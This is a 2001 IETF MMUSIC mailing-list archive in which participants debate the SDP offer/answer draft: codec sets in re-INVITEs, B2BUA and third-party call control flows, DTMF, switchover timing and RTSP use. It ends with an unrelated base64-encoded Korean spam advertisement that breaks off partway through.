> >         |      OK(sdp)      |  should be able to offer X,Z
> >         |<------------------|
> >         |      ACK (sdp)    |
> >         |------------------>|
> >
> > In this standalone case, it probably isn't likely that A will be
> > interested in Z the second time if it wasn't the first time.
> > But if A is
> > a B2BUA, it might be preparing to involve another party that is very
> > interested in Z.
> 
> OK, but in this case it would be a new dialog for the new party, so that you
> would have no previous sdp.

I was suggesting that A is a B2BUA bridging between a party C not shown
above and B. A then decides to replace C with a different one D. So
there is a new dialog with D, but the dialog between A and B remains.
Something like the following:

C                   A                   B
|   INVITE(sdp)     |                   |  offers codecs X,Y
|------------------>|                   |
|                   |   INVITE(sdp)     |  offers codecs X,Y
|                   |------------------>|
|                   |      OK(sdp)      |  accepts X, not Y; would
|                   |<------------------|  have accepted Z if offered
|                   |      ACK          |
|    OK(sdp)        |------------------>|  
|<------------------|                   |  accepts X, not Y
|    ACK            |                   |
|------------------>|                   |
                    |                   |
D                   |                   |  prepare to xfer to D
|                   |   INVITE(no sdp)  |
|                   |------------------>|
|                   |      OK(sdp)      |  can only offer X
|                   |<------------------|  (should offer Z too)
|   INVITE(sdp)     |                   |  "
|<------------------|                   |
|   488             |                   |  Fails - D can only do
|------------------>|                   |  Y & Z, not X.

//

|   OK(sdp)         |                   |  If X,Z had been offered
|------------------>|                   |  would accept Z
|                   |      ACK (sdp)    |
|                   |------------------>|  then all is well
 

This is too simplistic for a practical call flow, but it makes the
point.


> 
> >
> > I believe the rule should be that on reinvites without sdp,
> > the response
> > should be the same as last time, or a superset of that.
> 
> I'm just trying to keep it simple, and don't like revisiting decisions
> agreed to previously on the lists...

Another case of something that happened before my time.

This arises in more complex flows that may not have been considered
before. I believe these more complex flows become more important as
people get familiar with the technology.

	Paul

From confctrl-owner  Fri Dec  7 18:32:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA13810
	for confctrl-outgoing; Fri, 7 Dec 2001 18:32:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA13805
	for <confctrl@zephyr.isi.edu>; Fri, 7 Dec 2001 18:32:10 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB82Wrg10064
	for <confctrl@ISI.EDU>; Fri, 7 Dec 2001 18:32:54 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB82Ud4I001563;
	Fri, 7 Dec 2001 21:30:39 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9ZFCM>; Fri, 7 Dec 2001 21:32:10 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF02EF580F@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Flemming Andreasen'" <fandreas@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        MMUSIC
	 <confctrl@ISI.EDU>
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
Date: Fri, 7 Dec 2001 21:32:03 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


inline.
 

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@cisco.com]
> Sent: Thursday, December 06, 2001 5:24 AM
> To: Jonathan Rosenberg
> Cc: Henning Schulzrinne; MMUSIC
> Subject: Re: Comments on
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> 
> 
> > > - Section 2 says that "Once the offerer has sent the 
> offer, it MUST be
> > > prepared to receive media described by that offer." For 
> send/receive
> > > media streams, I believe the offerer must also be prepared to
> > > send such
> > > media (although obviously it can't until it gets the answer).
> >
> > I don't understand. If it can't send until it gets the 
> answer, what does it
> > mean to be prepared to send after sending the offer?
> >
> 
> It basically means that on bi-directional streams, I always 
> support the codec
> bi-directionally, since we cannot specify asymmetric codec usage on a
> bi-directional stream in SDP (this may be clearer if you 
> continue reading
> below).

OK, still confused... I understand that the codec is bidirectional, but the
offerer doesn't need to send with it until the answer arrives, but it does
need to be able to receive with it once the offer is sent. It may very well
be that for real implementations, its "ready" to do both anyway, but it
won't send until the answer arrives.


> 
> >
> > >
> > > - Section 2.1: I share the concerns raised by others about
> > > the following
> > > sentence: "When receiving multiple streams of the same type,
> > > the streams
> > > MUST be mixed before playing them out". This seems overly 
> restrictive.
> >
> > Without well defined behavior, I don't see how we will have 
> reasonable
> > interoperability. Applications will depend on knowing what 
> the end system
> > will do with media. What would be your proposal?
> >
> 
> Ideally, I would have a default (which could be the above) 
> and then attributes
> enabling me to specify different behavior. However, since 
> such attributes would
> have to be defined as extensions, it raises the usual 
> question of how to deal
> with extensions and ensure interoperability (which btw 
> reminds me that we should
> give some consideration to including the PINT "require" 
> attribute in sdp-new,
> and personally I wouldn't mind seeing a "supported" attribute 
> too). Also, while
> mixing for audio seems like a reasonable default, I don't 
> know what it means to
> mix for example a video stream, so maybe we should only 
> specify mixing as the
> default for audio streams.
> 
> However, this particular issue probably deserves some more discussion.

Indeed. I will be talking about this during the discussion in mmusic at IETF
on Monday. That said, I think my new definition, which is that you are
required to present all received media to the user, is more general and
would handle the video case.

> > > - Section 3.1. says (for sendrecv media streams) that 
> "The stream MAY
> > > indicate additional codecs, not listed in the 
> corresponding stream in
> > > the offer, that the answerer is willing to receive with."
> > > This makes the
> > > interpretation of the codecs listed context-dependent 
> which is fairly
> > > unfortunate. If the answerer wishes to add additional 
> codecs to the
> > > sendrecv stream, he should be able to both send and receive
> > > those codecs
> > > (regardless of whether the offerer seems interested in 
> receiving media
> > > encoded with such codecs).
> >
> > Well, he can't send with them, since the offerer hasn't 
> indicated that they
> > are supported. So, effectively, they are receive only.
> >
> 
> I disagree that they aren't supported. All you know is that 
> the offerer has not
> indicated a desire to send or receive with this codec. You 
> are inferring a
> uni-directional capability by this being an answer as opposed 
> to an offer, and
> that's what I'm not happy about since it deviates from the 
> normal case of
> bi-directionality by context only. This seems to make things 
> like third party
> call control more complicated and potentially lead to 
> unnecessary failures. I
> can see other restrictions as well.

Hmm. The 3pcc case is a good one, thanks for pointing that out.

I was trying to work in a reasonable way to handle unidirectional dtmf from
a end system to a media server of sorts. This is an important case. Some
other ways to handle it, perhaps:

a. answerer can add codecs to the m line, but they would need to be sendrecv
if the stream is sendrecv. This means a media server would need to be able
to both send and receive.

b. If the media server wants dtmf, we could have it reinvite the client,
adding another m line with the dtmf, and using FID to group it with the
original media stream. This has the disadvantage of requiring FID support
and extra messaging.

c. Even though the UA doesn't support receiving of DTMF, it declares it as
an allowed sendrecv codec in its offer. Just better hope no one sends with
it...

None of these seem particularly appealing. I welcome other suggestions. I'm
not trying to solve the more general problem of unidirectional codecs in a
bidirectional stream, since in general I don't think its a real problem, but
the DTMF case is a real problem.


> > > - Section 4.3 is silent on what the offerer and answerer 
> do with the
> > > codecs (and media types) from the previous successful 
> offer/answer. At
> > > what point do the offerer and answerer stop accepting media
> > > according to
> > > the old offer and answer ?
> >
> > Good question. Its simple when there is no overlap in the 
> set of codecs
> > between the original offer and the new one; you accept on 
> the old until you
> > get both the answer AND someone starts using the new 
> codecs. When there is
> > overlap, its more complex. If the other side changes codecs 
> to one of the
> > overlapping codecs, you don't know if this was due to 
> receiving the offer,
> > or just an unrelated change in selection of media for the 
> previous offer.
> >
> > How about this:
> >
> > The corresponding media stream in the answer is formulated as
> > described in Section \ref{sec:sdp:answer}. The offerer MUST be
> > prepared to use codecs from the old offer/answer exchange, until it
> > (1) receives the answer, and (2) receives media using a codec not
> > previously allowed from the old offer/answer exchange, or one minute
> > elapses, which ever happens first. The offerer MUST send 
> using codecs
> > from the new offer/answer as soon as the answer is 
> received, and MUST
> > be prepared to receive using codecs from the new offer as 
> soon as the
> > offer is sent. The answerer MUST be prepared to use codecs from the
> > old offer/answer exchange until it receives media using a codec not
> > previously allowed from the old offer/answer exchange, or one minute
> > elapses, which ever happens first. The answerer MUST send 
> using codecs
> > from the new offer/answer as soon as it sends the answer, 
> and MUST be
> > prepared to receive using codecs from the new answer as 
> soon as it is sent.
> >
> 
> In practice, I don't think the one minute thing is a 
> reasonable requirement, 

Too long, too short, or you don't want timer based?

Another way to synchronize is to start including RTP sequence numbers in the
SDP's, although that would only work for the answerer. In other words, the
answer's SDP says, "this SDP is the one which applies to all RTP packets
after SN XXXXX". It can do that since the answerer knows enough information
about what codecs to use upon transmission of its SDP; not so for the
offerer. It would require a three-way handshake for that.


> 
> OK - thanks for the responses.

Thanks for your detailed comments.

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Sun Dec  9 19:34:17 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA29012
	for confctrl-outgoing; Sun, 9 Dec 2001 19:34:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA29005
	for <confctrl@zephyr.isi.edu>; Sun, 9 Dec 2001 19:34:16 -0800 (PST)
Received: from gw-nl4.philips.com (gw-nl4.philips.com [212.153.190.6])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBA3Z0g13177
	for <confctrl@ISI.EDU>; Sun, 9 Dec 2001 19:35:00 -0800 (PST)
Received: from smtpscan-nl4.philips.com (localhost.philips.com [127.0.0.1])
          by gw-nl4.philips.com with ESMTP id EAA03738;
          Mon, 10 Dec 2001 04:34:58 +0100 (CET)
          (envelope-from philippe.gentric@philips.com)
From: philippe.gentric@philips.com
Received: from smtpscan-nl4.philips.com(130.139.36.24) by gw-nl4.philips.com via mwrap (4.0a)
	id xma003736; Mon, 10 Dec 01 04:34:58 +0100
Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl4.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id EAA25697; Mon, 10 Dec 2001 04:34:57 +0100 (MET)
Received: from notessmtp-nl1.philips.com (notessmtp-nl1.philips.com [130.139.36.10]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id EAA15818; Mon, 10 Dec 2001 04:34:57 +0100 (MET)
Received: from hbg001soh.diamond.philips.com (e1soh01.diamond.philips.com [130.143.165.212]) 
	by notessmtp-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id EAA06065; Mon, 10 Dec 2001 04:34:56 +0100 (MET)
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
To: jdrosen@dynamicsoft.com
Cc: schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
X-Mailer: Lotus Notes Release 5.0.6a  January 17, 2001
Message-ID: <OF68D536C2.E5CA647A-ONC1256B1E.0012CD09@diamond.philips.com>
Date: Mon, 10 Dec 2001 04:31:58 +0100
X-MIMETrack: Serialize by Router on hbg001soh/H/SERVER/PHILIPS(Release 5.0.5 |September
 22, 2000) at 10/12/2001 04:52:11
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



0.

RTSP point taken, should be transport agnostic,
pratical exemples would be nice though

1.

"sdp-answer" in *not* in the RTSP spec,
just a figment of my imagination, so far,
and that was my point: I think it would be needed,
but then what document should define it ?
(oh no ! not another draft ?)

2.

having the number of dynamic payload type as a limit
seems to me as bad, I can imagine cases where the server
would like to propose a *lot* of alternatives,
for example the bit rate is a typical parameter that can have a lot of values


See you in SLC




Philippe Gentric
Software architect
Philips Digital Networks - MP4Net
51 rue Carnot B.P. 301
92156 Suresnes FRANCE
tel: +33(0)147283740
fax: +33(0)147283725
philippe.gentric@philips.com
http://www.mpeg-4.philips.com





Jonathan Rosenberg <jdrosen@dynamicsoft.com>@ISI.EDU on 12/07/2001 10:52:34 PM

Sent by:  owner-confctrl@ISI.EDU


To:     Philippe Gentric/LIM/CE/PHILIPS@EMEA1
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
cc:     schulzrinne@cs.columbia.edu
        confctrl@ISI.EDU
Subject:  RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
Classification:






> -----Original Message-----
> From: philippe.gentric@philips.com
> [mailto:philippe.gentric@philips.com]
> Sent: Wednesday, December 05, 2001 8:59 AM
> To: jdrosen@dynamicsoft.com
> Cc: schulzrinne@cs.columbia.edu; confctrl@ISI.EDU
> Subject: RE: Comments on
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
>
>
> Hi,
>
> *******************
>
> you write "The list of payload types for each media stream
> conveys two
> pieces of
>    information, namely the set of codecs that the offerer is
> capable of
>    sending and/or receiving..."
>
> my concern is that this description of the "codec" is *only* the mime
> type,

No; if there are fmtp and rtpmap attributes, the payload type number
indicates the codec type and the associated parameters associated with that.


>
> however for several recent RTP payload formats
> the mime type is "too vague" an indication:
> AMR, MPEG-4 video, MPEG-4 AAC, MPEG-4 CELP ...
> they all have to be described with more that the payload type.
> Typically at the minimum a  mime parameter
> (in MPEG-4 the profile-level-id) is required for a
> fruitful negociation... because the mime type encompasses
> a sometimes quite large number of very different configurations ...
>
> I think it is possible to allow for any number of
> mime parameters to be added using a a=fmtp line:
> as in the following (modified) example
>
>  v=0
>    o=alice 2890844526 2890844526 IN IP4 host.anywhere.com
>    s=New board design
>    e=alice@foo.org
>    t=0 0
>    c=IN IP4 host.anywhere.com
>    m=audio 49170 RTP/AVP 0
>    a=rtpmap:0 PCMU/8000
>    m=video 51372 RTP/AVP 31
>    a=rtpmap:31 H261/90000
>    m=video 53000 RTP/AVP 32
>    a=rtpmap:32 MPV/90000
>    m=video 55000 RTP/AVP 33
>    a=fmtp:33  profile-level-id=1
>    a=rtpmap:33 MPEG4-GENERIC/90000
>
>
> what do you think ?

Your example agrees with my statement above. I think perhaps clearer wording
is needed in the document to indicate that the number indicates codec and
parameters.


>
> *************************
>
> In a similar fashion what about the bandwidth indication ?
> (same stream, different bit rate)
>
>    m=video 55000 RTP/AVP 33
>    a=fmtp:33  profile-level-id=1
>    b=AS:64
>    a=rtpmap:33 MPEG4-GENERIC/90000
>    m=video 55000 RTP/AVP 34
>    a=fmtp:34  profile-level-id=1
>    b=AS:32
>    a=rtpmap:34 MPEG4-GENERIC/90000
>
>
> *************************

I changed the text to:

  The list of payload types for each media stream conveys two pieces of
  information, namely the set of formats (codecs and any parameters
  associated with the codec, in the case of RTP)
  that the offerer is capable of sending and/or receiving (depending on
  the direction attributes), and, in the case of RTP, the RTP payload
  type numbers used to identify those formats. If multiple formats are

I think that would include your case above. Note that you would need FID in
order to use this SDP above, since they are alternatives.

>
> you do not mention RTSP explicitely in the text.

Right. It used to mention SIP, but I have removed SIP references. It now
stands as a signaling independent (ie, SIP, RTSP, etc.) mechanism for
offer/answer exchanges with SDP.
I don't think it should mention either SIP or RTSP.

>
> I would like to understand if this draft could support such a
> thing i.e. a
> scenario
> where a video on demand server, upon a RTSP describe
> sends back an "offer" listing a number of choices for a given movie
> that the client will pick from for example using a SET_PARAMETER
> with Accept: application/sdp as in:
>
>
>      C->S: DESCRIBE rtsp://example.com/fizzle/foo RTSP/1.0
>            CSeq: 1
>
>      M->C: RTSP/1.0 200 OK
>            CSeq: 1
>            Content-Type: application/sdp
>            Content-Length: 164
>
>            << put the SDP offer here >>
>
>      C->S: SET_PARAMETER rtsp://example.com/fizzle/foo RTSP/1.0
>            CSeq: 2
>            Content-type: application/sdp
>            Content-length: 28
>
>            sdp-answer: << put the SDP answer here>>
>
>      S->C: RTSP/1.0 OK 200 OK
>            CSeq: 2
>


I don't know SDP all that well, but it seems fine to me. I think it would be
great if its direclty usable by RTSP; arguably that should be a goal.

>
> Could we also define the "sdp-answer" key word in your draft ?

I don't know what you mean by "sdp-answer" keyword. Is that an RTSP thing?

>
> *****************************
>
> I understand that the limit to the number of different configurations
> that can be thus "offered" is the number of dynamic payload types,
> which is not a lot.
>
> Is that correct ?

I believe so. Is that really limiting?

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com






From confctrl-owner  Sun Dec  9 20:56:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA04686
	for confctrl-outgoing; Sun, 9 Dec 2001 20:56:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA04681
	for <confctrl@zephyr.isi.edu>; Sun, 9 Dec 2001 20:56:11 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBA4uug22975
	for <confctrl@ISI.EDU>; Sun, 9 Dec 2001 20:56:56 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fBA4se4I005270;
	Sun, 9 Dec 2001 23:54:40 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9ZG2S>; Sun, 9 Dec 2001 23:56:13 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF02EF5830@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'philippe.gentric@philips.com'" <philippe.gentric@philips.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
Date: Sun, 9 Dec 2001 23:56:12 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: philippe.gentric@philips.com 
> [mailto:philippe.gentric@philips.com]
> Sent: Sunday, December 09, 2001 8:32 PM
> To: jdrosen@dynamicsoft.com
> Cc: schulzrinne@cs.columbia.edu; confctrl@ISI.EDU
> Subject: RE: Comments on
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> 
> 
> 0. 
> 
> RTSP point taken, should be transport agnostic,
> pratical exemples would be nice though

Other folks seemed to want no mention of SIP at all; so either there should
be examples of neither or examples of both.

> 
> 1.
> 
> "sdp-answer" in *not* in the RTSP spec,
> just a figment of my imagination, so far,
> and that was my point: I think it would be needed,
> but then what document should define it ?
> (oh no ! not another draft ?)

I don't understand what you are proposing exactly. What is it needed for?

> 
> 2.
> 
> having the number of dynamic payload type as a limit
> seems to me as bad, I can imagine cases where the server
> would like to propose a *lot* of alternatives,
> for example the bit rate is a typical parameter that can have 
> a lot of 
> values 

Yeah, but not more than 127, I would guess. We've not seen this problem in
reality yet, not even close...

-Jonathan R.


---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com



> Sent by:        owner-confctrl@ISI.EDU
> To:     Philippe Gentric/LIM/CE/PHILIPS@EMEA1
> Jonathan Rosenberg <jdrosen@dynamicsoft.com>
> cc:     schulzrinne@cs.columbia.edu
> confctrl@ISI.EDU 
> Subject:        RE: Comments on 
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> Classification: 
> 
> 
> 
> 
>  
> 
> > -----Original Message-----
> > From: philippe.gentric@philips.com 
> > [mailto:philippe.gentric@philips.com]
> > Sent: Wednesday, December 05, 2001 8:59 AM
> > To: jdrosen@dynamicsoft.com
> > Cc: schulzrinne@cs.columbia.edu; confctrl@ISI.EDU
> > Subject: RE: Comments on
> > <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> > 
> > 
> > Hi,
> > 
> > *******************
> > 
> > you write "The list of payload types for each media stream 
> > conveys two 
> > pieces of
> >    information, namely the set of codecs that the offerer is 
> > capable of
> >    sending and/or receiving..."
> > 
> > my concern is that this description of the "codec" is 
> *only* the mime 
> > type,
> 
> No; if there are fmtp and rtpmap attributes, the payload type number
> indicates the codec type and the associated parameters 
> associated with 
> that.
> 
> 
> > 
> > however for several recent RTP payload formats 
> > the mime type is "too vague" an indication:
> > AMR, MPEG-4 video, MPEG-4 AAC, MPEG-4 CELP ...
> > they all have to be described with more that the payload type.
> > Typically at the minimum a  mime parameter
> > (in MPEG-4 the profile-level-id) is required for a
> > fruitful negociation... because the mime type encompasses
> > a sometimes quite large number of very different configurations ...
> > 
> > I think it is possible to allow for any number of
> > mime parameters to be added using a a=fmtp line:
> > as in the following (modified) example
> > 
> >  v=0
> >    o=alice 2890844526 2890844526 IN IP4 host.anywhere.com
> >    s=New board design
> >    e=alice@foo.org
> >    t=0 0
> >    c=IN IP4 host.anywhere.com
> >    m=audio 49170 RTP/AVP 0
> >    a=rtpmap:0 PCMU/8000
> >    m=video 51372 RTP/AVP 31
> >    a=rtpmap:31 H261/90000
> >    m=video 53000 RTP/AVP 32
> >    a=rtpmap:32 MPV/90000
> >    m=video 55000 RTP/AVP 33
> >    a=fmtp:33  profile-level-id=1
> >    a=rtpmap:33 MPEG4-GENERIC/90000
> > 
> > 
> > what do you think ?
> 
> Your example agrees with my statement above. I think perhaps clearer 
> wording
> is needed in the document to indicate that the number 
> indicates codec and
> parameters.
> 
> 
> > 
> > *************************
> > 
> > In a similar fashion what about the bandwidth indication ?
> > (same stream, different bit rate)
> > 
> >    m=video 55000 RTP/AVP 33
> >    a=fmtp:33  profile-level-id=1
> >    b=AS:64
> >    a=rtpmap:33 MPEG4-GENERIC/90000
> >    m=video 55000 RTP/AVP 34
> >    a=fmtp:34  profile-level-id=1
> >    b=AS:32
> >    a=rtpmap:34 MPEG4-GENERIC/90000
> > 
> > 
> > *************************
> 
> I changed the text to:
> 
>   The list of payload types for each media stream conveys two 
> pieces of
>   information, namely the set of formats (codecs and any parameters
>   associated with the codec, in the case of RTP)
>   that the offerer is capable of sending and/or receiving 
> (depending on
>   the direction attributes), and, in the case of RTP, the RTP payload
>   type numbers used to identify those formats. If multiple formats are
> 
> I think that would include your case above. Note that you 
> would need FID 
> in
> order to use this SDP above, since they are alternatives.
> 
> > 
> > you do not mention RTSP explicitely in the text.
> 
> Right. It used to mention SIP, but I have removed SIP 
> references. It now
> stands as a signaling independent (ie, SIP, RTSP, etc.) mechanism for
> offer/answer exchanges with SDP.
> I don't think it should mention either SIP or RTSP.
> 
> > 
> > I would like to understand if this draft could support such a 
> > thing i.e. a 
> > scenario
> > where a video on demand server, upon a RTSP describe
> > sends back an "offer" listing a number of choices for a given movie
> > that the client will pick from for example using a SET_PARAMETER
> > with Accept: application/sdp as in:
> > 
> > 
> >      C->S: DESCRIBE rtsp://example.com/fizzle/foo RTSP/1.0
> >            CSeq: 1
> > 
> >      M->C: RTSP/1.0 200 OK
> >            CSeq: 1
> >            Content-Type: application/sdp
> >            Content-Length: 164
> > 
> >            << put the SDP offer here >>
> > 
> >      C->S: SET_PARAMETER rtsp://example.com/fizzle/foo RTSP/1.0
> >            CSeq: 2
> >            Content-type: application/sdp
> >            Content-length: 28
> > 
> >            sdp-answer: << put the SDP answer here>>
> > 
> >      S->C: RTSP/1.0 OK 200 OK
> >            CSeq: 2
> > 
> 
> 
> I don't know SDP all that well, but it seems fine to me. I 
> think it would 
> be
> great if its direclty usable by RTSP; arguably that should be a goal.
> 
> > 
> > Could we also define the "sdp-answer" key word in your draft ?
> 
> I don't know what you mean by "sdp-answer" keyword. Is that 
> an RTSP thing?
> 
> > 
> > *****************************
> > 
> > I understand that the limit to the number of different 
> configurations
> > that can be thus "offered" is the number of dynamic payload types,
> > which is not a lot. 
> > 
> > Is that correct ?
> 
> I believe so. Is that really limiting?
> 
> -Jonathan R.
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> 
> 
> 

From confctrl-owner  Mon Dec 10 09:34:35 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA13708
	for confctrl-outgoing; Mon, 10 Dec 2001 09:34:35 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA13701
	for <confctrl@zephyr.isi.edu>; Mon, 10 Dec 2001 09:34:34 -0800 (PST)
Received: from delo ([211.170.67.220])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBAHZIg15349
	for <confctrl@isi.edu>; Mon, 10 Dec 2001 09:35:18 -0800 (PST)
Message-Id: <200112101735.fBAHZIg15349@tnt.isi.edu>
From: =?ks_c_5601-1987?B?x++3zr/sxdo=?= <pao@hellotel.co.kr>
To: confctrl@ISI.EDU
Subject: =?ks_c_5601-1987?B?W7GkILDtXSDA/MitufjIoyC5q7fhsKHA1CC17rfPLCC5q8Gmx9EgxevIrQ==?=
Date: Tue, 11 Dec 2001 02:39:01 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0027_01C0F11A.93A39C00"
X-Priority: 3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0027_01C0F11A.93A39C00
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

wM7FzbPdILmrt+EgwPzIrbn4yKMgte63z7D6IMPWwPqwoSDA/MitseIgxse4xSDAzLqlxq4g
ISAgICAgICAgICAgICAgIMD6yPEgx++3zr/sxdrAuyDAzL/rx8+/qSC/ub7gsKHA1MC7IMfP
vcUgsO2wtLTUtem/obDUICCwqLvnwMcguLbAvcC7IMD8x8+w7cDaDQogwM7FzbPdv+sgVVNC
IFBIT05FwLsgvLHC+Lz4ILi4uO2/oSDH0cfPv6kgw9bA+rChv6EgteW4s7TPtNkuICAgICAg
DQogICAgDQogICAgDQogICANCiAgICAgICAgICAtILHiwbjAxyDAz7ndIMD8yK25+LfOuKYg
sde067fOILvnv+vHz73HILz2IMDWvcC0z7TZLg0KICAgLSBVU0IgwM7FzcbkwMy9urfOIFBM
VUcgJiBQTEFZuKYgwfa/+MfPuce3ziC8s8ShILnXILvnv+vAzCCwo8btICAgICAgICAtILvn
v+615SDEq7XluKYgs7vA5cfPv6kgw9a788DHIMXryK0gwL3B+rfOIMDOxc2z3cD8yK0gsKG0
yQ0KICAgLSDF68itwfa/rMDMs6ogsvex6Cwgv6HE2sf2u/MswOLAvcDMILDFwMcgwM+53SDA
r7yxwPzIrSC89sHYICAgICAgICAtILHiuru34SC/+SA0LDAwML/4wLi3ziC/rMDOLMSjsbgs
sKHBtyy1v8ijyLi/+LCjILmrwabH0SAgxevIrQ0KICAgLSDA/LG5L73Ds7u/5LHdIDM5v/gs
yN6068b5IMPWtOsgMjElLLG5wabA/MitIMPWtOsgOTUlt84gwPq3xQ0KICAgLSDA/Ly8sOgg
MjMwsLOxuSDF68itILnXIMfYv9y/obytIMDatb8gt8651sDMILChtMkgICAgICAgDQogICAg
DQq+xrehIMHWvNK3ziC/wLzFvK0gx6rB/MfRILDmx7Agx+C757/NIMfUsrIgsPi1v7G4uMW/
oSDC/L+pIMfPvcOx4iC52bb4tM+02S4NCiANCiCiuiBodHRwOi8vd3d3LmhlbGxvdGVsLmNv
LmtyDQogDQogDQoNCiANCiANCiC43sDPvPa9xbDFus64piC/+MfPvcO46SAnvPa9xbDFus4n
tvOw7SAgx6Wx4sfPv6kgurizu8HWvcOx4iC52bb4tM+02S4NCiANCiAgICCozyAgQ29weXJp
Z2h0IDIwMDEgx++3zr/sxdogQWxsIHJpZ2h0cyByZXNlcnZlZC4g

------=_NextPart_000_0027_01C0F11A.93A39C00
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT7AzsXNs90guau34SDA/MitufjIoyC17rfPsPogw9bA
+rChIMD8yK2x4iDGx7jFIMDMuqXGriAhPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNv
bnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWV1Yy1rciI+DQo8c3R5
bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KLmZvbnQgeyAgZm9udC1mYW1pbHk6ICKxvLiy
